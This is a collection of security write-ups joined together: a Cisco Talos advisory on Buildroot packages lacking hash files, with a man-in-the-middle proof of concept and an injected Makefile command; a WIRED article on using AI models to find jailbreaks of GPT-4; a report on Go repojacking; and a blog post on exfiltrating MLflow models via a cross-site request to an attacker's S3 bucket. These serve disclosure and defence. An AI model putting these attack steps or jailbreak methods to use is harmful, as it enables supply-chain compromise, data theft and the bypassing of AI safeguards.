Buildroot is a tool that automates builds of Linux environments for embedded systems. It supports cross-compiling for multiple target platforms and allows for building a cross-compilation toolchain, Linux kernel image, boot loader, root file system and various utilities.

When building a package, Buildroot executes the corresponding Makefile. Source code is typically downloaded from the internet for most packages, while some are included within Buildroot. Upon downloading the source, Buildroot verifies the integrity of the package using a hash file, extracts the sources, applies any necessary patches and then proceeds with the actual building process.

To describe the logic in detail, let’s use the strace package as a simple example:

In package/strace/strace.mk:

    STRACE_VERSION = 6.5
    STRACE_SOURCE = strace-$(STRACE_VERSION).tar.xz
    STRACE_SITE = https://github.com/strace/strace/releases/download/v$(STRACE_VERSION)
    ...
    $(eval $(autotools-package))
    

In package/strace/strace.hash:

    # Locally calculated after checking signature with RSA key 0xA8041FA839E16E36
    # https://strace.io/files/6.5/strace-6.5.tar.xz.asc
    sha256  dfb051702389e1979a151892b5901afc9e93bbc1c70d84c906ade3224ca91980  strace-6.5.tar.xz
    sha256  d92f973d08c8466993efff1e500453add0c038c20b4d2cbce3297938a296aea9  COPYING
    sha256  7c379436436a562834aa7d2f5dcae1f80a25230fa74201046ca1fba4367d39aa  LGPL-2.1-or-later
    

STRACE_SITE defines the external site to fetch the sources from, and STRACE_SOURCE defines the actual package name to retrieve. The autotools-package is then evaluated to interpret the various <PACKAGE_NAME>_<VARIABLE> definitions in the package .mk and generate all the Makefiles rules needed to build the package.

In the .hash file, we can see sha256 hashes for any file that is being downloaded externally so their integrity can be verified after download.

When the strace package is selected in the config, calling make strace-source will download the package sources. The download function is defined in package/pkg-download.mk, which relays the request to the support/download/dl-wrapper shell script.

In the case of strace, dl-wrapper is called like this:

    support/download/dl-wrapper
        -c 6.4
        -d /opt/buildroot/dl/strace
        -D /opt/buildroot/dl
        -f strace-6.4.tar.xz
        -H package/strace//strace.hash
        -n strace-6.4
        -N strace
        -o /opt/buildroot/dl/strace/strace-6.4.tar.xz
        -u https+https://github.com/strace/strace/releases/download/v6.4
        -u http|urlencode+http://sources.buildroot.net/strace
        -u http|urlencode+http://sources.buildroot.net
    

Interesting parameters to note:

*   -H defines the .hash file for integrity checks
*   -u can be specified multiple times, to provide a fallback in case the primary URL is not available

The http://sources.buildroot.net URLs have been passed as fallback because they correspond to the default value of BR2_BACKUP_SITE. This behavior is enabled by default. However, it is possible to set BR2_PRIMARY_SITE_ONLY to disable it and only allow downloads from the primary resource.

Inside dl-wrapper:

        ...
        download_and_check=0
        rc=1
    [1] for uri in "${uris[@]}"; do
            backend_urlencode="${uri%%+*}"
            backend="${backend_urlencode%|*}"
            case "${backend}" in
                git|svn|cvs|bzr|file|scp|hg|sftp) ;;
                *) backend="wget" ;;
            esac
            uri=${uri#*+}
    
            ...
    [2]     if ! "${OLDPWD}/support/download/${backend}" \
                    $([ -n "${urlencode}" ] && printf %s '-e') \
                    -c "${cset}" \
                    -d "${dl_dir}" \
                    -n "${raw_base_name}" \
                    -N "${base_name}" \
                    -f "${filename}" \
                    -u "${uri}" \
                    -o "${tmpf}" \
                    ${quiet} ${large_file} ${recurse} -- "${@}"
            then
                ...
                continue
            fi
    
            ...
            # Check if the downloaded file is sane, and matches the stored hashes
            # for that file
    [3]     if support/download/check-hash ${quiet} "${hfile}" "${tmpf}" "${output##*/}"; then
                rc=0
            else
                if [ ${?} -ne 3 ]; then
                    rm -rf "${tmpd}"
                    continue
                fi
    
                # the hash file exists and there was no hash to check the file
                # against
                rc=1
            fi
    [4]     download_and_check=1
            break
        done
    
        # We tried every URI possible, none seems to work or to check against the
        # available hash. *ABORT MISSION*
    [5] if [ "${download_and_check}" -eq 0 ]; then
            rm -rf "${tmpd}"
            exit 1
        fi
    

For each URL (specified via -u) \[1\], the appropriate backend is used. In the case of strace the backend is simply wget, so wget is going to be called via the support/download/wget wrapper \[2\].

After the file is downloaded, the hash is checked (file is specified via -H) by calling check-hash \[3\]. If check-hash has a 0 exit status, rc is set to 0, download_and_check \[4, 5\] is set to 1 to indicate success and the loop ends.

Let’s see how check-hash is implemented.

        ...
        # Does the hash-file exist?
    [6] if [ ! -f "${h_file}" ]; then
            printf "WARNING: no hash file for %s\n" "${base}" >&2
            exit 0
        fi
    
        # Check one hash for a file
        # $1: algo hash
        # $2: known hash
        # $3: file (full path)
        check_one_hash() {
            ... # exits with error code if the hash doesn't match
        }
    
        # Do we know one or more hashes for that file?
        nb_checks=0
        while read t h f; do
            case "${t}" in
                ''|'#'*)
                    # Skip comments and empty lines
                    continue
                    ;;
                *)
                    if [ "${f}" = "${base}" ]; then
    [7]                 check_one_hash "${t}" "${h}" "${file}"
                        : $((nb_checks++))
                    fi
                    ;;
            esac
        done <"${h_file}"
    
    [8] if [ ${nb_checks} -eq 0 ]; then
    [9]     case " ${BR_NO_CHECK_HASH_FOR} " in
            *" ${base} "*)
                # File explicitly has no hash
                exit 0
                ;;
            esac
            printf "ERROR: No hash found for %s\n" "${base}" >&2
            exit 3
        fi
    

For each hash line in the .hash file, check_one_hash is called \[7\]. If the hash doesn’t match check_one_hash will exit with an error code. Otherwise nb_checks is incremented to indicate one successful check. If there’s no entry in the .hash file for the specified input file to check, the check at \[8\] will return an error, unless BR_NO_CHECK_HASH_FOR \[9\] contains this specific file, meaning that the file is excluded from hash checks.

In total, there are 3 ways for check-hash to return 0 (success):

1.  no .hash file exists for the package \[6\]
2.  the $file’s hash matches the definition in the .hash file \[7\]
3.  the $file is not present in the .hash file, and BR_NO_CHECK_HASH_FOR contains the base name for the package (explicitly skipping checks) \[9\]

Option 2 is what we expect to reach most of the time.

In this advisory, we focus on Option 1. Indeed, we identified 5 packages that miss a .hash file:

*   two of them (aufs and aufs-util) also specify a _SITE with an http:// schema, meaning that a man-in-the-middle attacker could supply any source package to Buildroot.
*   the remaining three packages (riscv64-elf-toolchain, versal-firmware and mxsldr) specify an https:// schema. However, because the default BR2_BACKUP_SITE is set to http://sources.buildroot.net (note the http:// schema), a man-in-the-middle attacker could supply any source package in this case too. To force Buildroot to use the fallback URL, it’s enough to drop HTTPS requests to the primary site (which is easy to do when we assume a MITM position). This will make the if condition at \[2\] fail, and the loop at \[1\] will perform the download using the next $uri.

Also note, while a warning is printed for the check at \[6\], this can be very easily overlooked given the verbosity of the output, especially if we consider it may run in a CI (Continuous Integration) pipeline.

Because packages can ship patch files or Makefiles, by supplying a compromised source package an attacker would be able to execute arbitrary commands in the builder. As a direct consequence, an attacker could then also tamper with any file generated for Buildroot’s targets and hosts.

For example, it’s enough to provide a Makefile with the following command:

    _ := $(shell id >> /injected)
    

Or insert such a line in a .patch file, which would allow modification of any package within Buildroot during the build process.

Below all the affected packages are listed separately.

**CVE-2023-45838 - aufs**

aufs fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45839 - aufs-util**

aufs-util fetches its sources from an http URL and does not include a .hash file for checking package integrity. An attacker could use a MITM attack to provide compromised packages, which would allow execution of arbitrary commands in the builder.

**CVE-2023-45840 - riscv64-elf-toolchain**

riscv64-elf-toolchain fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45841 - versal-firmware**

versal-firmware fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**CVE-2023-45842 - mxsldr**

mxsldr fetches its sources from an https URL, however it does not include a .hash file for checking package integrity. Since Buildroot’s network requests can be downgraded to http (thanks to the default BR2_BACKUP_SITE being an http URL), an attacker could use a MITM attack to provide compromised packages, which would in turn allow execution of arbitrary commands in the builder.

**Exploit Proof of Concept**

This proof-of-concept assumes that an attacker is MITM-ing the network and dropping requests to git.denx.de on port 443, while at the same time serving any .tar.gz file requested via port 80 with a malicious version:

    $ make source
    /usr/bin/make -j1  O=/tmp/builddir HOSTCC="/usr/bin/gcc" HOSTCXX="/usr/bin/g++" syncconfig
    mkdir -p /tmp/builddir/build/buildroot-config/lxdialog
    PKG_CONFIG_PATH="" /usr/bin/make CC="/usr/bin/gcc" HOSTCC="/usr/bin/gcc" \
        obj=/tmp/builddir/build/buildroot-config -C support/kconfig -f Makefile.br conf
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -MM *.c > /tmp/builddir/build/buildroot-config/.depend 2>/dev/null || :
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   -c conf.c -o /tmp/builddir/build/buildroot-config/conf.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"  -I. -c /tmp/builddir/build/buildroot-config/zconf.tab.c -o /tmp/builddir/build/buildroot-config/zconf.tab.o
    /usr/bin/gcc -I/usr/include/ncursesw -DCURSES_LOC="<curses.h>"  -DNCURSES_WIDECHAR=1 -DLOCALE  -I/tmp/builddir/build/buildroot-config -DCONFIG_=\"\"   /tmp/builddir/build/buildroot-config/conf.o /tmp/builddir/build/buildroot-config/zconf.tab.o  -o /tmp/builddir/build/buildroot-config/conf
    rm /tmp/builddir/build/buildroot-config/zconf.tab.c
      GEN     /tmp/builddir/Makefile
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    glibc-2.38-27-g750a45a783906a19591fb8ff6b7841470f1f5701.tar.gz: OK (sha256: fd991e43997ff6e4994264c3cbc23fa87fa28b1b3c446eda8fc2d1d3834a2cfb)
    bison-3.8.2.tar.xz: OK (sha256: 9bba0214ccf7f1079c5d59210045227bcf619519840ebfa80cd3849cff5a5bf2)
    m4-1.4.19.tar.xz: OK (sha256: 63aede5c6d33b6d9b13511cd0be2cac046f2e70fd0a07aa9573a04a82783af96)
    gawk-5.2.2.tar.xz: OK (sha256: 3c1fce1446b4cbee1cd273bd7ec64bc87d89f61537471cd3e05e33a965a250e9)
    gcc-12.3.0.tar.xz: OK (sha512: 8fb799dfa2e5de5284edf8f821e3d40c2781e4c570f5adfdb1ca0671fcae3fb7f794ea783e80f01ec7bfbf912ca508e478bd749b2755c2c14e4055648146c204)
    binutils-2.40.tar.xz: OK (sha512: a37e042523bc46494d99d5637c3f3d8f9956d9477b748b3b1f6d7dfbb8d968ed52c932e88a4e946c6f77b8f48f1e1b360ca54c3d298f17193f3b4963472f6925)
    gmp-6.3.0.tar.xz: OK (sha256: a3c2b80201b89e68616f4ad30bc66aee4927c3ce50e33929ca819d5c43538898)
    mpc-1.2.1.tar.gz: OK (sha256: 17503d2c395dfcf106b622dc142683c1199431d095367c6aacba6eec30340459)
    mpfr-4.1.1.tar.xz: OK (sha256: ffd195bd567dbaffc3b98b23fd00aad0537680c9896171e44fe3ff79e28ac33d)
    linux-6.5.6.tar.xz: OK (sha256: 78e36d4214547051c24df2140f4ce09428d6c515ad9a71b38b28e8094a95d2f6)
    busybox-1.36.1.tar.bz2: OK (sha256: b8cc24c9574d809e7279c3be349795c5d5ceb6fdf19ca709f80cde50e47de314)
    >>> host-mxsldr 2793a657ab7a22487d21c1b020957806f8ae8383 Downloading
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 5 ms: Connection refused
    Detected a corrupted git cache.
    Removing it and starting afresh.
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git init .
    hint: Using 'master' as the name for the initial branch. This default branch name
    hint: is subject to change. To configure the initial branch name to use in all
    hint: of your new repositories, which will suppress this warning, call:
    hint:
    hint:   git config --global init.defaultBranch <name>
    hint:
    hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
    hint: 'development'. The just-created branch can be renamed via this command:
    hint:
    hint:   git branch -m <name>
    Initialized empty Git repository in /opt/buildroot/dl/mxsldr/git/.git/
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote add origin 'https://git.denx.de/mxsldr.git'
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git remote set-url origin 'https://git.denx.de/mxsldr.git'
    Fetching all references
    GIT_DIR=/opt/buildroot/dl/mxsldr/git/.git git fetch origin
    fatal: unable to access 'https://git.denx.de/mxsldr.git/': Failed to connect to git.denx.de port 443 after 2 ms: Connection refused
    Detected a corrupted git cache.
    This is the second time in a row; bailing out
    wget --passive-ftp -nd -t 3 -O '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' 'http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz'
    --2023-10-11 13:48:21--  http://sources.buildroot.net/mxsldr/mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    Resolving sources.buildroot.net (sources.buildroot.net)... 104.26.0.37, 104.26.1.37, 172.67.72.56
    Connecting to sources.buildroot.net (sources.buildroot.net)|104.26.0.37|:80... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: unspecified [application/x-xz]
    Saving to: '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output'
    
    /tmp/builddir/build/.mxsldr-2793a657ab7a2248     [ <=>                                                                                        ]     160  --.-KB/s    in 0s
    
    2023-10-11 13:48:21 (27.1 MB/s) - '/tmp/builddir/build/.mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz.HW6f6m/output' saved [160]
    
    WARNING: no hash file for mxsldr-2793a657ab7a22487d21c1b020957806f8ae8383-br1.tar.gz
    libusb-1.0.26.tar.bz2: OK (sha256: 12ce7a61fc9854d1d2a1ffe095f7b5fac19ddba095c259e6067a46500381b5a5)
    pkgconf-1.6.3.tar.xz: OK (sha256: 61f0b31b0d5ea0e862b454a80c170f57bad47879c0c42bd8de89200ff62ea210)
    patchelf-0.13.tar.bz2: OK (sha256: 4c7ed4bcfc1a114d6286e4a0d3c1a90db147a4c3adda1814ee0eee0f9ee917ed)
    

**TIMELINE**

2023-10-25 - Vendor Disclosure  
2023-12-04 - Vendor Patch Release  
2023-12-05 - Public Release

Discovered by Claudio Bozzato and Francesco Benvenuto of Cisco Talos.

CVE-2023-45842: TALOS-2023-1844 || Cisco Talos Intelligence Group

Adversarial algorithms can systematically probe large language models like OpenAI’s GPT-4 for weaknesses that can make them misbehave.

When the board of OpenAI suddenly fired the company’s CEO last month, it sparked speculation that board members were rattled by the breakneck pace of progress in artificial intelligence and the possible risks of seeking to commercialize the technology too quickly. Robust Intelligence, a startup founded in 2020 to develop ways to protect AI systems from attack, says that some existing risks need more attention.

Working with researchers from Yale University, Robust Intelligence has developed a systematic way to probe large language models (LLMs), including OpenAI’s prized GPT-4 asset, using “adversarial” AI models to discover “jailbreak” prompts that cause the language models to misbehave.

While the drama at OpenAI was unfolding, the researchers warned OpenAI of the vulnerability. They say they have yet to receive a response.

“This does say that there’s a systematic safety issue, that it’s just not being addressed and not being looked at,” says Yaron Singer, CEO of Robust Intelligence and a professor of computer science at Harvard University. “What we’ve discovered here is a systematic approach to attacking any large language model.”

OpenAI spokesperson Niko Felix says the company is “grateful” to the researchers for sharing their findings. “We’re always working to make our models safer and more robust against adversarial attacks, while also maintaining their usefulness and performance,” Felix says.

The new jailbreak involves using additional AI systems to generate and evaluate prompts as the system tries to get a jailbreak to work by sending requests to an API. The trick is just the latest in a series of attacks that seem to highlight fundamental weaknesses in large language models and suggest that existing methods for protecting them fall well short.

“I’m definitely concerned about the seeming ease with which we can break such models,” says Zico Kolter, a professor at Carnegie Mellon University whose research group demonstrated a gapping vulnerability in large language models in August.

Kolter says that some models now have safeguards that can block certain attacks, but he adds that the vulnerabilities are inherent to the way these models work and are therefore hard to defend against. “I think we need to understand that these sorts of breaks are inherent to a lot of LLMs,” Kolter says, “and we don’t have a clear and well-established way to prevent them.”

Large language models recently emerged as a powerful and transformative new kind of technology. Their potential became headline news as ordinary people were dazzled by the capabilities of OpenAI’s ChatGPT, released just a year ago.

In the months that followed the release of ChatGPT, discovering new jailbreaking methods became a popular pastime for mischievous users, as well as those interested in the security and reliability of AI systems. But scores of startups are now building prototypes and fully fledged products on top of large language model APIs. OpenAI said at its first-ever developer conference in November that over 2 million developers are now using its APIs.

These models simply predict the text that should follow a given input, but they are trained on vast quantities of text, from the web and other digital sources, using huge numbers of computer chips, over a period of many weeks or even months. With enough data and training, language models exhibit savant-like prediction skills, responding to an extraordinary range of input with coherent and pertinent-seeming information.

The models also exhibit biases learned from their training data and tend to fabricate information when the answer to a prompt is less straightforward. Without safeguards, they can offer advice to people on how to do things like obtain drugs or make bombs. To keep the models in check, the companies behind them use the same method employed to make their responses more coherent and accurate-looking. This involves having humans grade the model’s answers and using that feedback to fine-tune the model so that it is less likely to misbehave.

Robust Intelligence provided WIRED with several example jailbreaks that sidestep such safeguards. Not all of them worked on ChatGPT, the chatbot built on top of GPT-4, but several did, including one for generating phishing messages, and another for producing ideas to help a malicious actor remain hidden on a government computer network.

A similar method was developed by a research group led by Eric Wong, an assistant professor at the University of Pennsylvania. The one from Robust Intelligence and his team involves additional refinements that let the system generate jailbreaks with half as many tries.

Brendan Dolan-Gavitt, an associate professor at New York University who studies computer security and machine learning, says the new technique revealed by Robust Intelligence shows that human fine-tuning is not a watertight way to secure models against attack.

Dolan-Gavitt says companies that are building systems on top of large language models like GPT-4 should employ additional safeguards. “We need to make sure that we design systems that use LLMs so that jailbreaks don’t allow malicious users to get access to things they shouldn’t,” he says.

A New Trick Uses AI to Jailbreak AI Models—Including GPT-4

New research has found that over 15,000 Go module repositories on GitHub are vulnerable to an attack called repojacking.
"More than 9,000 repositories are vulnerable to repojacking due to GitHub username changes," Jacob Baines, chief technology officer at VulnCheck, said in a report shared with The Hacker News. "More than 6,000 repositories were vulnerable to repojacking due to account

Software Security / Supply Chain

New research has found that over 15,000 Go module repositories on GitHub are vulnerable to an attack called repojacking.

"More than 9,000 repositories are vulnerable to repojacking due to GitHub username changes," Jacob Baines, chief technology officer at VulnCheck, said in a report shared with The Hacker News. "More than 6,000 repositories were vulnerable to repojacking due to account deletion."

Collectively, these repositories account for more no less than 800,000 Go module-versions.

UPCOMING WEBINAR

Learn Insider Threat Detection with Application Response Strategies

Discover how application detection, response, and automated behavior modeling can revolutionize your defense against insider threats.

Join Now

Repojacking, a portmanteau of "repository" and "hijacking," is an attack technique that allows a bad actor to take advantage of account username changes and deletions to create a repository with the same name and the pre-existing username to stage open-source software supply chain attacks.

Earlier this June, cloud security firm Aqua revealed that millions of software repositories on GitHub are likely vulnerable to the threat, urging organizations that undergo name changes to ensure that they still own their previous name as placeholders to prevent such abuse.

Modules written in the Go programming language are particularly susceptible to repojacking as unlike other package manager solutions like npm or PyPI, they are decentralized due to the fact that they get published to version control platforms like GitHub or Bitbucket.

"Anyone can then instruct the Go module mirror and pkg.go.dev to cache the module's details," Baines said. "An attacker can register the newly unused username, duplicate the module repository, and publish a new module to proxy.golang.org and go.pkg.dev."

To prevent developers from pulling down potentially unsafe packages, GitHub has in place a countermeasure called popular repository namespace retirement that blocks attempts to create repositories with the names of retired namespaces that have been cloned more than 100 times prior to the owners' accounts being renamed or deleted.

But VulnCheck noted that this protection isn't helpful when it comes to Go modules as they are cached by the module mirror, thereby obviating the need for interacting with or cloning a repository." In other words, there could be popular Go-based modules that have been cloned less than 100 times, resulting in a bypass of sorts.

"Unfortunately, mitigating all of these repojackings is something that either Go or GitHub will have to take on," Baines said. "A third-party can't reasonably register 15,000 GitHub accounts. Until then, it's important for Go developers to be aware of the modules they use, and the state of the repository that the modules originated from."

The disclosure also comes as Lasso Security said it discovered 1,681 exposed API tokens on Hugging Face and GitHub, including those associated with Google, Meta, Microsoft, and VMware, that could be potentially exploited to stage supply chain, training data poisoning, and model theft attacks.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

15,000 Go Module Repositories on GitHub Vulnerable to Repojacking Attack

When a Multipart request is performed but some of the fields exceed the maxStringLength limit, the upload files will remain in struts.multipart.saveDir even if the request has been denied.
Users are recommended to upgrade to versions Struts 2.5.32 or 6.1.2.2 or Struts 6.3.0.1 or greater, which fix this issue.

Skip to content

*   *   Actions
        
        Automate any workflow
        
    *   Packages
        
        Host and manage packages
        
    *   Security
        
        Find and fix vulnerabilities
        
    *   Codespaces
        
        Instant dev environments
        
    *   Copilot
        
        Write better code with AI
        
    *   Code review
        
        Manage code changes
        
    *   Issues
        
        Plan and track work
        
    *   Discussions
        
        Collaborate outside of code
        
    

*   *   GitHub Sponsors
        
        Fund open source developers
        
    
    *   The ReadME Project
        
        GitHub community articles
        
    
*   Pricing

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-41835

**Apache Struts Improper Control of Dynamically-Managed Code Resources vulnerability**

Moderate severity GitHub Reviewed Published Dec 5, 2023 to the GitHub Advisory Database • Updated Dec 5, 2023

**Package**

maven org.apache.struts:struts2-core (Maven)

**Affected versions**

\>= 6.2.0, < 6.3.0.1

\>= 6.0.0, < 6.1.2.2

< 2.5.32

**Patched versions**

6.3.0.1

6.1.2.2

2.5.32

**Description**

Published to the GitHub Advisory Database

Dec 5, 2023

GHSA-729q-fcgp-r5xh: Apache Struts Improper Control of Dynamically-Managed Code Resources vulnerability

An issue in MLFlow versions 2.8.1 and before allows a remote attacker to obtain sensitive information via a crafted request to REST API.

**Information exposure in MLflow**

High severity GitHub Reviewed Published Dec 5, 2023 to the GitHub Advisory Database • Updated Dec 11, 2023

GHSA-wqxf-447m-6f5f: Information exposure in MLflow

Most Machine Language (ML) tools — including the development frameworks used for managing ML life cycles — are relatively new, which means they could well  have security vulnerabilities. 

After finding two Common Vulnerabilities and Exposures (CVEs)  in the Togglz web console (the cross-site scripting \[XSS\] CVE-2020-28192 and the cross-site request forgery \[CSRF\]  CVE-2020-28191), I decided to check out MLflow, a development framework for ML life cycle management, thinking that it could potentially be vulnerable. 

It was. Specifically, I found a misconfigured application programming interface (API) that fails to check the content-type header. This means that an attacker can make a simple request to localhost without triggering a preflight — i.e., an HTTP request of the OPTIONS method, sent before the request itself, in order to determine if it is safe to send the request. I found that this could be done in MLflow by using a text/plain content type, instead of the more proper application/JavaScript Object Notation (JSON) content type. 

**An existential threat to companies being built around ML **

The result is an extremely dangerous vulnerability that threatens ML models: A successful attack can lead to the leaking of both an ML model and all training data to an attacker. This is an existential threat to companies being built around an ML model. Given a successful exploit of this vulnerability, an attacker could gain access/control that would be the equivalent of gaining write access with the source code of a company that writes software. 

I reported this CVE — designated CVE-2023-43472 — on Sept. 5, 2023 and directly emailed Databricks, the original creator and current maintainer of MLflow. I informed Databricks that I would be giving a talk describing the issue at the DefCamp security conference on Friday, Nov. 24. As of Nov. 29, Databricks reported that it was working on a fix that was scheduled to be released later this week.

This CVE impacts all versions of MLflow from at least 2.6.0, and most likely all 2.x versions. 

I'm not sure exactly how widely used MLflow is, but based on the number of stars it’s garnered on GitHub, it’s more popular than the Kubernetes-based Kubeflow: 15.9K stars for MLflow, vs. 13.2K for Kubeflow. For what it’s worth, when Canonical recently announced its Charmed MLflow MLops platform, Canonical Vice President of Product Management Cédric Gégout called MLflow “the leading AI framework for streamlining all ML stages.” 

**The vulnerability**

The MLflow user interface (http://localhost:5000/) contains a REST API. Normally, this wouldn't be vulnerable to Simple Request Attacks, as the POST request uses a content type of application/JSON, which would trigger a preflight request and therefore would not be vulnerable.

But in this case, the API doesn't check the content type header. Therefore, it’s possible to trigger a request with a content type of text/plain.

As can be seen in the above Request/Response, while the request body is valid JSON, the content-type set is text/plain. The API should reject this request, given that it’s of an unexpected type, but the API apparently doesn’t check the content type.

Using that, if you can get the MLflow user to visit a website for which you control the JavaScript — say, by creating a MLfLow tutorial website — you can effectively modify the Default Experiment and set the artifact location to a globally writable S3 bucket that you control. An adversary can then use that to exfiltrate any data sent to the bucket.

Unfortunately, the API is lacking some functionality. You can neither modify Experiments artifact\_uri via the API nor delete the Default Experiment. But you can create new ones and modify the existing experiment name, so the new experiment is named “Default.”

The attack does the following:

*   Modify the Default experiment name to "Old.”

*   Create a new experiment named "Default" with an artifact\_uri of an S3 bucket.

*   Once a new MLFLow run is done — e.g., mlflow run sklearn\_elasticnet\_wine -P alpha=0.5, experiment-name Default — the result of the run will be uploaded to the S3 bucket.

The payload is available here. 

**Impact**

This vulnerability allows an attacker to exfiltrate a serialized version of the ML model and the data used to train the model, if the attacker is able to get the MLFlow user to access a website they control.

**Attacking a developer environment via drive-by localhost attacks**

To put this vulnerability into context, there’s a widespread belief that services that are only bound to localhost are not accessible from the outside world. Unfortunately, this is not always the case. Developers, for the sake of convenience, configure the services that they are developing in a less secure way compared with how they would (hopefully!) configure them in higher-security environments. 

By compromising websites used by developers — simply by injecting JavaScript into advertisements served on those sites or by serving up a phishing attack that gets the developer to open a web browser on a compromised page — it is possible to reach out via non-pre-flighted HTTP requests to those services bound to localhost, either by exploiting common misconfigurations in the Spring application framework or via known vulnerabilities found by myself, including the recently disclosed CVE that I found in the popular Quarkus Java framework.

As I demonstrated during Friday’s Def Camp talk, it is possible to generate a remote code execution (RCE) on the developer’s machine or on other services on their private network. Given that developers have write access to codebases, AWS keys, server credentials, etc., access to the developer’s machine gives an attacker a great deal of scope to pivot to other resources on the network, as well as to either modify or to entirely steal the codebase.

**Easy to exploit**

CVE-2023-43472 would be relatively simple to exploit: an attacker merely has to get a target to visit a website that they control. At that point, the attacker can silently modify the location the data is saved to to be an S3 bucket under their control.

An exploit could be used to send data to a globally writable S3 bucket, from which it can be exfiltrated. 

Amazon S3 buckets are used to store all sorts of data: they’re just a way to store data programmatically in the cloud. There are no AWS security guardrails that could limit the extent of damage somebody could do in an exploit, given that the S3 bucket is created and owned by the attacker. 

**How this could affect ML models**

A successful exploit could lead to more than data exfiltration. Given that an ML model is stored in the bucket, there would be potential to poison the ML model itself. In such an attack, an adversary is able to inject bad data into the model’s training pool, causing it to learn something it shouldn’t. 

If/when the model is read by the victim, there’s also the potential for a modified model.pkl file to contain a Python pickle exploit, which can lead to RCE on the victim’s machine.

**What to do**

MLflow users should upgrade to the new version as soon as it's available.

**Read more:**

*   Contrast discovers zero-day flaw in popular Quarkus Java framework (blog)
*   Contrast API Security Testing Platform (product page)
*   Hands-on testing and protecting APIs (virtual workshop) 
*   Defense-in-depth web AppSec: The case for having both RASP and WAF (white paper PDF)
*   The Future of API Security (webinar)
*   Protecting Apis: An Uphill Battle (white paper PDF)
*   Building a modern API security strategy: A five-part series — Overview (blog)

Tag

#git